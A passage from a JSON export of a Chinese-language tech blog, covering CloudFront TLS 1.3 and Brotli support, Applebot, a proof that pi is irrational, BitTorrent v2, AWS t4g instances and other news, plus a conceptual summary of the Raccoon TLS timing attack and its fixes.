    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 的公告，宣佈 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 支援 TLS 1.3：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/09/cloudfront-tlsv1-3-support/\">Amazon CloudFront announces support for TLSv1.3 for viewer connections</a>」。\r\n\r\n預設會自動啟用：\r\n\r\n<blockquote>TLSv1.3 is available today and enabled by default across all Amazon CloudFront security policies options. No additional changes are required to your CloudFront configuration to benefit from the security and performance improvements of TLSv1.3 for your viewer connections.</blockquote>\r\n\r\n對使用者最大的差異應該還是改善 first byte 的時間 (主要是因為 handshake 時間縮短)，這點 AWS 的人也有提到在內部測試時，美國區的改善情況：\r\n\r\n<blockquote>In our own internal tests in the US region as an example, first byte latency for new negotiated connections saw reductions of up to 33% for TLSv1.3 compared to previous versions of TLS.</blockquote>\r\n\r\n在 latency 更高的地區應該也會有大幅改善...",
    "title": "CloudFront 支援 TLS 1.3"
  },
  {
    "id": "9692",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上翻到的：「<a href=\"https://support.apple.com/en-us/HT204683\">About Applebot</a>」，另外 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也蠻有趣的，可以看看：「<a href=\"https://news.ycombinator.com/item?id=24338152\">Applebot (support.apple.com)</a>」。\r\n\r\n目前的用途是用在 <a href=\"https://en.wikipedia.org/wiki/Siri\">Siri</a> 之類的 bot：\r\n\r\n<blockquote>Applebot is the web crawler for Apple. Products like Siri and Spotlight Suggestions use Applebot.</blockquote>\r\n\r\n裡面有提到辨識方式，IP 會使用 <code>17.0.0.0/8</code>，反解會是 <code>*.applebot.apple.com</code>：\r\n\r\n<blockquote>Traffic coming from Applebot is identified by its user agent, and reverse DNS shows it in the *.applebot.apple.com domain, originating from the 17.0.0.0 net block.</blockquote>\r\n\r\n另外 <code>User-agent</code> 也可以看出：\r\n\r\n<pre>Mozilla/5.0 (<em>Device</em>; <em>OS_version</em>) AppleWebKit/<em>WebKit_version</em> (KHTML, like Gecko) Version/<em>Safari_version</em> Safari/<em>WebKit_version</em> (Applebot/<em>Applebot_version</em>)</pre>\r\n\r\n後面有提到 search engine 的部份 (About search rankings)，這點讓大家在猜蘋果是不是開始在弄 search engine 了，在 Hacker News 上的討論串裡面可以看到不少對於蘋果自己搞 search engine 的猜測。\r\n\r\n然後也有些頗有趣的，像是爆料當初開發的過程遇到的問題 XD\r\n\r\n<blockquote>jd20 3 days ago [–]\r\n\r\nSome fun facts:\r\n- Applebot was originally written in Go (and uncovered a user agent bug on redirects, revealing it's Go origins to the world, which Russ Cox fixed the next day).\r\n\r\n- Up until the release of iOS 9, Applebot ran entirely on four Mac Pro's in an office. Those four Mac Pro's could crawl close to 1B web pages a day.\r\n\r\n- In it's first week of existence, it nearly took Apple's internal DNS servers offline. It was then modified to do it's own DNS resolution and caching, fond memories...\r\n\r\nSource: I worked on the original version.</blockquote>",
    "title": "蘋果也搞了個 Applebot 掃資料"
  },
  {
    "id": "9693",
    "body": "前陣子在 <a href=\"https://www.michael-penn.net/\">Michael Penn</a> 教授的 <a href=\"https://www.youtube.com/\">YouTube</a> 頻道上看到的證明：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/dFKbVTHK4tU\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n這個證明方式在其他人的 YouTube 頻道也有做過，像是 <a href=\"https://mindyourdecisions.com/\">MindYourDecisions</a> 在 2019/3/14 (Pi Day) 發表的影片：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/KcjGe5a7Lwg\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n這兩篇使用的方法是 <a href=\"https://en.wikipedia.org/wiki/Ivan_M._Niven\">Ivan M. Niven</a> 在 1946 年提出來的方法 (發表在 1947 年 <a href=\"https://www.ams.org/home/page\">AMS</a> 的期刊，第 53 期的 <a href=\"https://en.wikipedia.org/wiki/Bulletin_of_the_American_Mathematical_Society\">Bulletin of the American Mathematical Society</a> 上)：「<a href=\"https://projecteuclid.org/euclid.bams/1183510788\">A simple proof that π is irrational</a>」。\r\n\r\n先不討論證明方法本身，我把這份 PDF 印出來慢慢看，當年用打字機打的字型讀起來超有味道的... (這份 PDF 看起來是掃描檔)\r\n\r\n從 PDF 可以看出證明超級短，只有一頁，但畢竟這是大師丟出來的證明，裡面其實省了很多步驟。這接步驟不難推導，但是是屬於考試作答時不能省略的部份，如果加上去的話應該會兩到三頁 (還是非常短)。\r\n\r\n整個證明的過程很巧妙的設計了兩個函數搭配反證法。裡面有用到微積分，但只用到最基本的微積分，其中微分的部份用到的公式就這三個，其中是三角函數的微分公式：\r\n\r\n[latex]\\frac{d}{dx} sin(x) = cos(x)\\newline\\newline\\frac{d}{dx} cos(x) = -sin(x)[/latex]\r\n\r\n然後是兩個函數相乘後的微分公式：\r\n\r\n[latex]\\frac{d}{dx} f(x)g(x) = f'(x)g(x) + f(x)g'(x)[/latex]\r\n\r\n積分的部份只用了定義的部份 (主要是在微分的部份證完)。\r\n\r\n然後證明是圍繞在「整數」上面做文章，夾擠出一個不可能的情況，因此得到矛盾，證明了 π 是無理數。\r\n\r\n整個證明可以在高三範圍 (如果現在高三還有教微積分的話) 或是大一教過微積分之後的程度證完，作者講的 \"Simple\" 主要是出自這邊...",
    "title": "證明圓周率 π 是無理數"
  },
  {
    "id": "9701",
    "body": "目前我在 blog 上使用 <a href=\"https://imgur.com/\">Imgur</a> 的圖檔主要是用 <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 格式，然後針對不支援 WebP 的瀏覽器 (主要就是蘋果家的 <a href=\"https://www.apple.com/safari/\">Safari</a>) 是用 JavaScript 換回 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a> 格式...\r\n\r\n昨天早上看到「<a href=\"https://jakearchibald.com/2020/avif-has-landed/\">AVIF has landed</a>」這篇，提醒我有 <code>&lt;picture&gt;</code> 這個原生支援的方式可以用，翻了一下 <a href=\"https://caniuse.com/\">Can I Use</a> 上面的支援程度，看起來除了 IE11 以外幾乎都支援了 (參考「<a href=\"https://caniuse.com/picture\">Picture element</a>」)，而且 IE11 應該也會因為語法的關係走到正確的 JPEG fallback，大概是這樣：\r\n\r\n<pre>&lt;picture&gt;\r\n    &lt;source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xxxxxx.webp\" /&gt;\r\n    &lt;img src=\"https://i.gslin.com/imgur/xxxxxx.jpg\" alt=\"\" /&gt;\r\n&lt;/picture&gt;</pre>\r\n\r\n換完後來觀察看看...",
    "title": "用 picture + source + img 替代本來的 JavaScript 替換"
  },
  {
    "id": "9702",
    "body": "{5,9,14} Eyes 是先前在其他地方看到的詞，後來在「<a href=\"https://degoogle.jmoore.dev/\">Cutting Google out of your life</a>」這邊在講 <a href=\"https://www.google.com/\">Google</a> 的替代方案時又有提到，然後也有解釋：「<a href=\"https://www.privacytools.io/providers/#ukusa\">Global Mass Surveillance - The Fourteen Eyes</a>」。\r\n\r\n這邊提到的 Eyes 起因是大多數國家對於監視自己公民都有法律限制，所以藉由與國外的情報單位「合作」，取得對自己國家公民的監視資訊 (即使各國之間有簽訂不監視其他國家公民)，而這邊列出的 {5,9,14} Eyes 就是互相有簽訂合作的國家：\r\n\r\n<blockquote>The UKUSA Agreement is an agreement between the United Kingdom, United States, Australia, Canada, and New Zealand to cooperatively collect, analyze, and share intelligence. Members of this group, known as the Five Eyes, focus on gathering and analyzing intelligence from different parts of the world. While Five Eyes countries have agreed to not spy on each other as adversaries, leaks by Snowden have revealed that some Five Eyes members monitor each other's citizens and share intelligence to avoid breaking domestic laws that prohibit them from spying on their own citizens. The Five Eyes alliance also cooperates with groups of third-party countries to share intelligence (forming the Nine Eyes and Fourteen Eyes); however, Five Eyes and third-party countries can and do spy on each other.</blockquote>\r\n\r\n另外還有「<a href=\"https://www.privacytools.io/providers/#kdl\">Key Disclosure Law</a>」這段，在講有哪些國家有法律可以強制個人交出金鑰。\r\n\r\n回到本來提到的 degoogle 列表，裡面列出了很多替代的服務與軟體，其中服務的部份會列出所在地區是否在 {5,9,14} Eyes 的範圍內，以及發生過的爭議事件。\r\n\r\n當作替代方案在看，至少可以把一些足跡從 Google 抽出來...",
    "title": "5 Eyes、9 Eyes 與 14 Eyes"
  },
  {
    "id": "9703",
    "body": "剛剛看到 <a href=\"https://travis-ci.com/\">Travis CI</a> 宣佈支援 Arm64 的編譯與測試環境了：「<a href=\"https://blog.travis-ci.com/2020-09-11-arm-on-aws\">Announcing General Availability of Graviton2 CPU Support!</a>」。\r\n\r\n架構上是利用 <a href=\"https://aws.amazon.com/\">AWS</a> 推出的機器來做，其中支援的 OS image 目前看起來是以 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 為主，其中 16.04 (<code>xenial</code>) 與 18.04 (<code>bionic</code>) 只有 <a href=\"https://linuxcontainers.org/lxd/\">LXD container</a> 的環境，而 20.04 (<code>focal</code>) 則除了 LXD container 環境外，也有完整的 VM 環境可以跑：\r\n\r\n<blockquote>Following Arm64 distributions of Ubuntu are available for you as LXD containers:\r\n\r\nXenial (16.04)\r\nBionic (18.04)\r\nFocal (20.04)\r\n\r\nFollowing Arm64 distribution of Ubuntu is available for you as a full VM option:\r\n\r\nFocal (20.04)</blockquote>\r\n\r\n看起來底層是用 Ubuntu 20.04 為主力，然後提供 container 跑其他版本。",
    "title": "Travis CI 支援 Arm64 平台的編譯與測試了"
  },
  {
    "id": "9706",
    "body": "看到 <a href=\"https://libtorrent.org/\">libtorrent</a> 宣佈支援 BitTorrent v2 (<a href=\"http://bittorrent.org/beps/bep_0052.html\">BEP 52</a>) 的消息：「<a href=\"https://blog.libtorrent.org/2020/09/bittorrent-v2/\">BitTorrent v2</a>」。\r\n\r\nBitTorrent v2 這個規格丟出來好久了，但一直都是 draft，而且沒什麼人想要理他，直到 <a href=\"https://www.google.com/\">Google</a> 成功產生出 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> collision 的時候稍微有些音量跑出來，但沒想到居然有人跳下去支援了...\r\n\r\n對使用者比較有感覺的差異是從 SHA-1 換成 <a href=\"https://en.wikipedia.org/wiki/SHA-2\">SHA-2</a> 的 SHA-256 了，這個會影響到整個 torrent file 的結構與 <a href=\"https://en.wikipedia.org/wiki/Magnet_URI_scheme\">Magnet URI</a> 的部份。\r\n\r\n另外一個比較大的改變是 torrent 檔資料結構，有兩個比較大的改變。\r\n\r\n第一個是以前用固定的 block size 切割，然後每個 block 產生出 hash，所以 torrent 檔會隨著 block size 選擇的大小 (成反比) 檔案大小 (成正比) 有關，現在會用 <a href=\"https://en.wikipedia.org/wiki/Merkle_tree\">Merkle tree</a>，所以只要有 root hash 就可以了。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8piCTSJ.webp\" /><img src=\"https://i.gslin.com/imgur/8piCTSJ.png\" alt=\"\" /></picture>\r\n\r\n第二個是以前是把所有檔案包在一起 hash，現在是個別檔案都有自己的 hash (改成 root hash)，所以現在變成可以跨 torrent 檔共用檔案。\r\n\r\n然後 libtorrent 的文章裡有提到向前相容的方法，不過以產品面上來說沒有什麼太大的誘因，libtorrent 雖然大，但其他幾家的支援度應該也是重點...",
    "title": "libtorrent 宣佈支援 BitTorrent v2"
  },
  {
    "id": "9707",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.relativty.com/\">Relativty‍ an open-source VR headset</a>」這個自幹 VR 眼鏡的專案，專案可以在 <a href=\"https://github.com/\">GitHub</a> 的「<a href=\"https://github.com/relativty/Relativty\">relativty/Relativty</a>」這邊看到。\r\n\r\n看起來是使用 3D 印表機生出配件，然後用 <a href=\"https://github.com/arduino/ArduinoCore-sam\">ArduinoCore-sam</a> 開發軟硬體的部份，目前的系統可以在 2K 解析度下跑 120fps：\r\n\r\n<blockquote>The Relativty firmware, which powers the actual physical device, is based on ArduinoCore-sam. So in addition to the Relativty Motherboard, it is compatible with Arduino Due or any other board equipped with a processor that supports the ArduinoCore.</blockquote>\r\n\r\n<blockquote>Relativty headset runs a 2K dual-display at 120FPS. However, because of the open nature of Relativty you can use any display as long as your computer is able to handle it. From more affordable 90Hz 1080p screen to 4K panels.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CEJ4RHa.webp\" /><img src=\"https://i.gslin.com/imgur/CEJ4RHa.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/o2swn62.webp\" /><img src=\"https://i.gslin.com/imgur/o2swn62.jpg\" alt=\"\" /></picture>\r\n\r\n不過不知道反應延遲有多高，偏高的話會有 3D 暈的問題，在網站裡面沒提到，我猜應該會是痛點... 另外看起來是想要商業化，頁面下面有 hiring 的資訊，先觀望看看好了？",
    "title": "自幹 VR 眼鏡"
  },
  {
    "id": "9708",
    "body": "這次看到的是針對 TLS 實做上的問題產生的 <a href=\"https://raccoon-attack.com/\">Raccoon Attack</a>，反正先取個名字就對了，原圖有點大張，設個 medium size 好了 XDDD：\r\n\r\n<blockquote><strong>Why is the attack called \"Raccoon\"?</strong>\r\nRaccoon is not an acronym. Raccoons are just cute animals, and it is well past time that an attack will be named after them :)</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/e1U0j6sm.webp\" / ><img src=\"https://i.gslin.com/imgur/e1U0j6sm.png\" alt=\"\" /></picture>\r\n\r\n先講影響的產品，首先是經常中槍的 <a href=\"https://www.f5.com/\">F5</a>，這次連 timing measurement 都不需要太準確就可以打穿：\r\n\r\n<blockquote>In particular, several F5 products allow executing a special version of the attack, without the need for precise timing measurements.</blockquote>\r\n\r\n<a href=\"https://www.openssl.org/\">OpenSSL</a> 的部份因為從 1.0.2f 之後因為其他的 security issue 所以改善了實做方式，就不會受到這次的攻擊手法影響。\r\n\r\n剛剛翻了一下 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上的的資料，看起來 16.04 (<code>xenial</code>) 上的 OpenSSL 就已經是 1.0.2g 了，所以目前只要是有在 Ubuntu 支援的版本應該都不受影響：\r\n\r\n<blockquote>OpenSSL assigned the issue CVE-2020-1968. OpenSSL does use fresh DH keys per default since version 1.0.2f (which made SSL_OP_SINGLE_DH_USE default as a response to CVE-2016-0701).</blockquote>\r\n\r\n<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 直接拔了 DH 與 DHE 相關的 cipher suite，反正在這次攻擊手法出來前本來就已經計畫要拔掉：\r\n\r\n<blockquote>Mozilla assigned the issue CVE-2020-12413. It has been solved by disabling DH and DHE cipher suites in Firefox (which was already planned before the Raccoon disclosure).</blockquote>\r\n\r\n微軟的部份則是推更新出來：\r\n\r\n<blockquote>Microsoft assigned the issue CVE-2020-1596. Please refer to the Microsoft Security Response Center portal.</blockquote>\r\n\r\n回到攻擊手法，這次的問題是因為 DH 相關的實做造成的問題。\r\n\r\nTLS 要求去掉 premaster secret 裡開頭的 0，造成會因為開頭的 0 數量不同而實做上就不會是 constant time，所以有了一些 side channel information 可以用：\r\n\r\n<blockquote>Our Raccoon attack exploits a TLS specification side channel; TLS 1.2 (and all previous versions) prescribes that all leading zero bytes in the premaster secret are stripped before used in further computations. Since the resulting premaster secret is used as an input into the key derivation function, which is based on hash functions with different timing profiles, precise timing measurements may enable an attacker to construct an oracle from a TLS server.</blockquote>\r\n\r\n然後一層一層堆，能夠知道 premaster secret 開頭是不是 0 之後，接下來因為 server side 會重複使用同一組 premaster secret，所以可以當作一個 oracle，試著去計算出更後面的位數：\r\n\r\n<blockquote>This oracle tells the attacker whether a computed premaster secret starts with zero or not. For example, the attacker could eavesdrop g<sup>a</sup> sent by the client, resend it to the server, and determine whether the resulting premaster secret starts with zero or not.</blockquote>\r\n\r\n<blockquote>Learning one byte from a premaster secret would not help the attacker much. However, here the attack gets interesting. Imagine the attacker intercepted a ClientKeyExchange message containing the value g<sup>a</sup>. The attacker can now construct values related to g<sup>a</sup> and send them to the server in distinct TLS handshakes. More concretely, the attacker constructs values g<sup>r<sub>i</sub></sup>*g<sup>a</sup>, which lead to premaster secrets g<sup>r<sub>i</sub>*b</sup>*g<sup>ab</sup>. Based on the server timing behavior, the attacker can find values leading to premaster secrets starting with zero. In the end, this helps the attacker to construct a set of equations and use a solver for the Hidden Number Problem (HNP) to compute the original premaster secret established between the client and the server.</blockquote>\r\n\r\n所以針對這個攻擊手法的解法就是用「新鮮的」premaster secret (像是完全不重複使用)，然後保留開頭的 0，不需要去掉。而 TLS 1.3 在定義的時候把這兩件事情都做了，所以不會受到影響：\r\n\r\n<blockquote><strong>Is TLS 1.3 also affected?</strong>\r\nNo. In TLS 1.3, the leading zero bytes are preserved for DHE cipher suites (as well as for ECDHE ones) and keys should not be reused.</blockquote>\r\n\r\n另外在這邊提到的 Hidden Number Problem (HNP) 也是個不熟悉的詞彙，網站上有提到論文，也就是「<a href=\"https://crypto.stanford.edu/~dabo/pubs/abstracts/dhmsb.html\">Hardness of computing the most significant bits of secret keys in Diffie-Hellman and related schemes</a>」這篇：\r\n\r\n<blockquote>Given an oracle O<sub>α</sub>(x) that on input x computes the k most significant bits of (α * g<sup>x</sup> mod p) , find α mod p.</blockquote>\r\n\r\n是個離散對數類的問題，之後有空再來翻一翻好了。",
    "title": "新的 TLS 攻擊：Raccoon Attack"
  },
  {
    "id": "9709",
    "body": "前幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://vimacapp.com/\">Vimac</a> 這個專案，程式碼在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/dexterleng/vimac\">dexterleng/vimac</a> 上可以看到，而 Hacker News 上的討論則是在「<a href=\"https://news.ycombinator.com/item?id=24323378\">Show HN: Vimac – Productive macOS keyboard-driven navigation (vimacapp.com)</a>」這邊，因為是作者發表的，所以下面也有一些作者的回應。\r\n\r\n作者是受到瀏覽器上 <a href=\"https://vimium.github.io/\">Vimium</a> 啟發，利用 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 的 Accessibiltiy API 實做類似的想法，讓使用者可以使用鍵盤操作 (所以會需要授權開啟 Accessibility API)。\r\n\r\n官方預設啟動 Hint Mode 的快速鍵是 <kbd>Ctrl</kbd>-<kbd>Space</kbd>，但這對中文使用者來說剛好卡到，所以我把他改成 <kbd>Option</kbd>-<kbd>Space</kbd> 了，按下去後畫面上會將可以點選的地方都加上快速鍵資訊，像是官方提供的樣式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pbHEbSj.webp\" / ><img src=\"https://i.gslin.com/imgur/pbHEbSj.png\" alt=\"\" /></picture>\r\n\r\n另外一個重點是捲動的功能，不過我目前還用的不多，不知道好不好用...",
    "title": "在 Mac 上用鍵盤操作的 Vimac"
  },
  {
    "id": "9710",
    "body": "前幾天發現在 <a href=\"https://console.aws.amazon.com/\">AWS Web Console</a> 上開 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 機器時，選 <code>t3a</code> 後本來可以選的「T2/T3 Unlimited」變成只叫「Unlimited」，心裡猜測有東西要推出，然後這幾天看到消息了...\r\n\r\n這次 <a href=\"https://aws.amazon.com/ec2/\">AWS</a> 推出了 <code>t4g</code> 系列的機器，而這邊的 <code>g</code> 如同慣例，指的是 <a href=\"https://www.arm.com/\">ARM</a> 的 Graviton2：「<a href=\"https://aws.amazon.com/blogs/aws/new-t4g-instances-burstable-performance-powered-by-aws-graviton2/\">New EC2 T4g Instances – Burstable Performance Powered by AWS Graviton2 – Try Them for Free</a>」。\r\n\r\n目前公司在用的 <code>ap-southeast-1</code> 沒有在支援的地區，只好去 <code>us-east-1</code> 上玩：\r\n\r\n<blockquote>T4g instances are available today in US East (N. Virginia, Ohio), US West (Oregon), Asia Pacific (Tokyo, Mumbai), Europe (Frankfurt, Ireland).</blockquote>\r\n\r\n剛好這兩天把 SOP 文件的安裝方法改成 <a href=\"https://www.ansible.com/\">ansible</a> playbook，就順便拿 <code>t4g</code> 的機器測了一下也沒什麼問題。\r\n\r\n另外 T 系列機器最重要的 CPU credit 的部份，在官方文件「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-credits-baseline-concepts.html\">CPU credits and baseline utilization for burstable performance instances</a>」這邊也已經可以看到 <code>t4g</code> 的相關資料了，基本上跟 <code>t3</code> 與 <code>t3a</code> 是一樣的設計。\r\n\r\n而價錢的部份，都以 T 系列裡最大的 <code>2xlarge</code> 來算，<a href=\"https://www.intel.com/\">Intel</a> 平台的 <code>t3.2xlarge</code> 是 $0.3328/hr，<a href=\"https://www.amd.com/\">AMD</a> 平台的 <code>t3a.2xlarge</code> 則是 $0.3008/hr，而 <code>t4g.2xlarge</code> 是 $0.2688/hr，大約是 80.7% 與 89.3% 的比率。\r\n\r\n另外官方宣稱效能還比 x86 平台上好很多，這點可以打個折看，不過就價位來說是真的不錯：\r\n\r\n<blockquote>Using T4g instances you can enjoy a performance benefit of up to 40% at a 20% lower cost in comparison to T3 instances, providing the best price/performance for a broader spectrum of workloads.</blockquote>\r\n\r\n不過目前公司的主力還是在新加坡區，而且還有 RI 在跑，等有了 <code>t4g</code> 之後再把一些東西丟上去測看看，然後找時間換過去...",
    "title": "AWS 推出了 ARM 平台上 T 系列的機器"
  },
  {
    "id": "9711",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/09/cloudfront-brotli-compression/\">Amazon CloudFront announces support for Brotli compression</a>」。\r\n\r\n官方的說明發現 <a href=\"https://en.wikipedia.org/wiki/Gzip\">Gzip</a> 可以好 24%：\r\n\r\n<blockquote>CloudFront's Brotli edge compression delivers up to 24% smaller file sizes as compared to Gzip.</blockquote>\r\n\r\n<a href=\"https://www.akamai.com/\">Akamai</a> 在「<a href=\"https://blogs.akamai.com/2016/02/understanding-brotlis-potential.html\">Understanding Brotli's Potential</a>」這邊提到的測試數字稍微做了分類，可以看到在 html 下 Brotli 帶來的改善是最多的。\r\n\r\n以前在 CloudFront 上還是可以支援 Brotli，主要是透過後端支援 Brotli 的方式傳回不同的資料，再加上 <code>Vary: Accept-Encoding</code> 的設定讓 CloudFront 針對不同的 <code>Accept-Encoding</code> 分開 cache。\r\n\r\n這次的支援等於是讓 CloudFront 理解 Brotli，就可以提昇 hit rate 並且降低後端的壓力：\r\n\r\n<blockquote>Prior to today, you could enable Brotli compression at the origin by whitelisting the 'Accept-Encoding' header. Now CloudFront includes 'br' in the normalized 'Accept-Encoding' header before forwarding it to your origin. You no longer need to whitelist the 'Accept-Encoding' header to enable Brotli origin compression, improving your overall cache hit ratio. Additionally, if your origin sends uncompressed content to CloudFront, CloudFront can now automatically compress cacheable responses at the edge using Brotli.</blockquote>\r\n\r\n算是補產品線...",
    "title": "CloudFront 宣佈支援 Brotli"
  },
  {
    "id": "9712",
    "body": "<a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> 可以將聲音轉成文字，先前都需要自己指定語言，而這幾天發表新的功能，可以自動偵測語言：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-transcribe-now-supports-automatic-language-identification/\">Amazon Transcribe Now Supports Automatic Language Identification</a>」。\r\n\r\n不過系統要求最少要有 30 秒的資料，跟人類比起來還是有點差距，但比起之前好用不少：\r\n\r\n<blockquote>With a minimum of 30 seconds of audio, Amazon Transcribe can efficiently generate transcripts in the spoken language without wasting time and resources on manual tagging.</blockquote>\r\n\r\n沒有額外的費用，主要就是照著本來的價錢在走：\r\n\r\n<blockquote>There is no additional charge on top of the existing pricing.</blockquote>\r\n\r\n翻了一下價錢，好像可以來測一些東西...",
    "title": "Amazon Transcribe 可以自動偵測語言了"
  },
  {
    "id": "9713",
    "body": "<a href=\"https://www.wikimedia.org/\">Wikimedia</a> (維基百科後面的基金會) 又多了一個溝通工具：「<a href=\"https://diff.wikimedia.org/2020/09/18/introducing-wikimedia-chat/\">Introducing Wikimedia Chat!</a>」。\r\n\r\n最傳統的方式是在 wiki 的 Talk 頁上溝通 (現在看起來還是有些正式的投票討論需要走這個方式)，但那個界面用起來真的頗痛苦... 一般的社群討論還是會在其他工具上進行。\r\n\r\n先前有晃進去看過的平台應該是 IRC 與 <a href=\"https://telegram.org/\">Telegram</a> 群組，不過後來因為量太大就閃出來了，另外這邊有提到 <a href=\"https://slack.com/\">Slack</a>、<a href=\"https://discord.com/\">Discord</a> 與 <a href=\"https://www.facebook.com/\">Facebook</a>：\r\n\r\n<blockquote>You can now see Wikimedia-related discussion groups in Slack, Discord, Telegram, Facebook, and many more.</blockquote>\r\n\r\n這些平台都還是放在外部，就會有很多隱私上的考量：\r\n\r\n<blockquote>Besides being scattered and inaccessible to people who don’t have accounts in those platforms (for privacy reasons for example), these platforms use proprietary and closed-source software, are outside Wikimedia infrastructure and some harvest our personal data for profit.</blockquote>\r\n\r\n<a href=\"https://freenode.net/\">freenode</a> 上面的 IRC 算是相對起來比較開放，但還是少了不少功能，所以就自己架了 <a href=\"https://mattermost.com/\">Mattermost</a> 出來：\r\n\r\n<blockquote>IRC on freenode.net is a good alternative but it lacks basic functionalities of a modern chat platform. So we created <a href=\"https://meta.wikimedia.org/wiki/Wikimedia_Chat\">Wikimedia Chat</a>, a <a href=\"https://en.wikipedia.org/wiki/Mattermost\">Mattermost</a> instance hosted in Wikimedia Cloud.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qsSvgcP.webp\" /><img src=\"https://i.gslin.com/imgur/qsSvgcP.png\" alt=\"\" /></picture>\r\n\r\n比較特別的是超過 90 天的記錄會被砍掉？不太懂這邊的邏輯...\r\n\r\n<blockquote>As a Wikimedia Cloud project, all of discussions, private and public are covered by Code of conduct in technical spaces and due to Wikimedia Cloud privacy policy all discussions older than ninety days will be deleted.</blockquote>",
    "title": "Wikimedia 弄了自己的 Mattermost"
  },
  {
    "id": "9715",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，在講從 PDF 裡面拉文字出來遇到的各種問題：「<a href=\"https://filingdb.com/b/pdf-text-extraction\">What's so hard about PDF text extraction?</a>」。\r\n\r\n<a href=\"https://filingdb.com/\">FilingDB</a> 是一家處理歐洲公司資料的公司，可能是開公司時送件的時候要求用 PDF，或是政府單位輸出的時候用 PDF，所以他們必須從這些 PDF 裡面拉出文字分析，然後就能夠讓程式使用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/McdbzJI.webp\" /><img src=\"https://i.gslin.com/imgur/McdbzJI.png\" alt=\"\" /></picture>\r\n\r\n會這麼難搞的原因是因為 PDF 是設計給輸出端用，而不是語意化用的格式：\r\n\r\n<blockquote>The main problem is that PDF was never really designed as a data input format, but rather, it was designed as an output format giving fine grained control over the resulting document.</blockquote>\r\n\r\n每個字元 (character) 都是可以被獨立控制的物件：\r\n\r\n<blockquote>At its core, the PDF format consists of a stream of instructions describing how to draw on a page. In particular, text data isn’t stored as paragraphs - or even words - but as characters which are painted at certain locations on the page.</blockquote>\r\n\r\n然後文章後面都在展示各種 workaround XD",
    "title": "抓 PDF 裡文字的問題"
  },
  {
    "id": "9716",
    "body": "一樣是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到這篇：「<a href=\"https://github.com/raspberrypi/rpi-eeprom/issues/28\">Boot from USB · Issue #28 · raspberrypi/rpi-eeprom</a>」，不過 <a href=\"https://github.com/\">GitHub</a> 上的討論沒什麼重點，主要是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論：「<a href=\"https://news.ycombinator.com/item?id=24520397\">Raspberry Pi 4 can finally boot directly from USB (github.com)</a>」。\r\n\r\n這個功能在以前的 <a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 上是可以用的，但大概是因為 RPi4 的 USB 模組整個換掉，所以在 RPi4 推出時是沒這個功能的，直到最近更新韌體才支援。\r\n\r\n不過就算以前可以用 USB 2.0 開機，但因為 USB 2.0 的極限值只有 480Mbps，扣掉 USB mass storage 的 protocol overhead 後，跟 SD 卡相比沒有差太多速度，大家就沒有太在意這個項目。但現在 USB 3.0 的速度快不少，讓這邊有不少發揮的空間，之後來找機會來外接個硬碟測一些東西看看好了...\r\n\r\n然後順便提一下，以前要弄這種東西都是同事之間一起團購，但後來發現 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 上也有賣，而且價位也算是還算可以？(加上又是隔天到？)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qFceTrj.webp\" /><img src=\"https://i.gslin.com/imgur/qFceTrj.png\" alt=\"\" /></picture>",
    "title": "Raspberry Pi 4 可以透過 USB 開機了"
  },
  {
    "id": "9719",
